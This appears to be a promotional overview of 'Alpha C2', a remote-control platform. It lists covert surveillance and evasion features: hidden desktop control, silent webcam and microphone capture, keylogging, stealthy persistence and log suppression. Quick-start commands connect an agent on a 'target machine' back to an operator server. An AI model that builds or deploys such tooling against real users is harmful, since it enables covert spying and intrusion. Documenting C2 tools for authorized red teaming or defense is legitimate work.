A deep-dive review of the platform, its architecture, and the capabilities hidden behind its codenamed modules.
The modern threat landscape is fast, distributed, and unforgiving. Administrators, red teams, and security responders need a tool that gives them full visibility in seconds — not after hours of setup. Alpha C2 is exactly that: a complete command-and-control platform built from the ground up with a single lightweight Go agent, a modern web dashboard, and a security-first communication core.
No runtimes. No dependencies. No installation. One binary that runs on Windows, Linux, and macOS, reporting back to a dashboard you open in any browser.
| Feature | Why It Matters |
|---|---|
| 100% Go agent | Tiny footprint, zero dependencies, instant execution |
| Single encrypted channel | All capabilities over one WebSocket link with TLS |
| No listening ports | The agent is connect-back only — no local attack surface |
| Hot-loadable plugins | Extend the agent without rebuilding it |
| Auto-reconnect & self-healing | Survives network changes and restarts quietly |
Alpha C2 hides its muscle behind a set of codenamed modules. Here is what each one actually does.
Real-time desktop streaming with high-resolution snapshots and an adjustable rendering engine. See what's happening right now, without lag or frozen frames.
A hidden virtual desktop (HVNC-class) session: you get full interactive control inside an invisible interface that never appears on the target screen.
On-demand webcam capture from any connected session. One command, one frame, zero traces in the UI logs.
Microphone audio streamed live with a return audio path for the operator — full duplex sound inside the session.
Background keystroke recording with sensitive-field filtering and instant enable/disable. Quiet by design, decisive when used.
Automatic survivability across reboots:
- Windows — Registry-based anchoring with stealth naming
- Linux — systemd user units
- macOS — LaunchAgent persistence
A built-in SOCKS5 proxy that routes traffic through the session — an instant bridge into any internal network.
Full file management: browse, download, upload — plus PowerShell / Bash script execution from a single pane of glass.
Compose ordered command chains and execute them across dozens of sessions simultaneously.
A Go → WASM plugin system loaded hot at runtime. Write a module, drop it in, reload — no agent rebuild required.
JWT authentication for the dashboard, a dedicated agent token, full channel encryption, and role-based access control.
Intelligent management of dozens of sessions: live status, smart heartbeat scheduling, and automatic reconnection.
- Silent Core — the agent never opens a listening port; strictly connect-back, eliminating local discovery.
- Pulse Channel — heartbeat intervals adapt intelligently to reduce network-level noise and detection.
- Graded Streaming — the server distributes quiet session lists instead of full payloads, keeping performance stable across thousands of nodes.
- Tadpole Mode — a session starts silent, then matures into full capability after quiet authentication.
- Clipped Tail — no log files or registry entries reveal the platform's identity; generic operation names only.
- One-Way Session Fingerprint — each session gets a non-reversible encrypted identifier that cannot be correlated by scanning text values.
┌─────────────┐ WebSocket (TLS) ┌─────────────┐
│ Agent (Go) │ ◀────────────────────────▶ │ Server │
│ client │ encrypt + ack │ (TS + Bun) │
└─────────────┘ └──────┬──────┘
│ HTTPS / WS
┌───────▼───────┐
│ Dashboard │
│ (HTML5 UI) │
└───────────────┘
- Server: TypeScript + Bun — fast, lightweight, Docker-ready.
- Agent: Go, small binary, cross-platform, zero external dependencies.
- Dashboard: a full desktop-class experience rendered in the browser.
# Server
cd alpha-c2-server
bun install
bun run dev
# Agent (on the target machine)
./alpha-c2-client -s wss://yourserver:4444Alpha C2 is not another wrapper around a familiar stack. It is a purpose-built platform where the agent is genuinely lightweight, the channel is genuinely single, and the dashboard is genuinely complete. Whether you manage a fleet of machines or run authorized security engagements, the combination of Aether Vision, Anchor Protocol, and Hive Session delivers a workflow that is hard to find elsewhere in a single tool.
Alpha C2 — Version 1.0.0 · One Agent · Total Control · One Interface.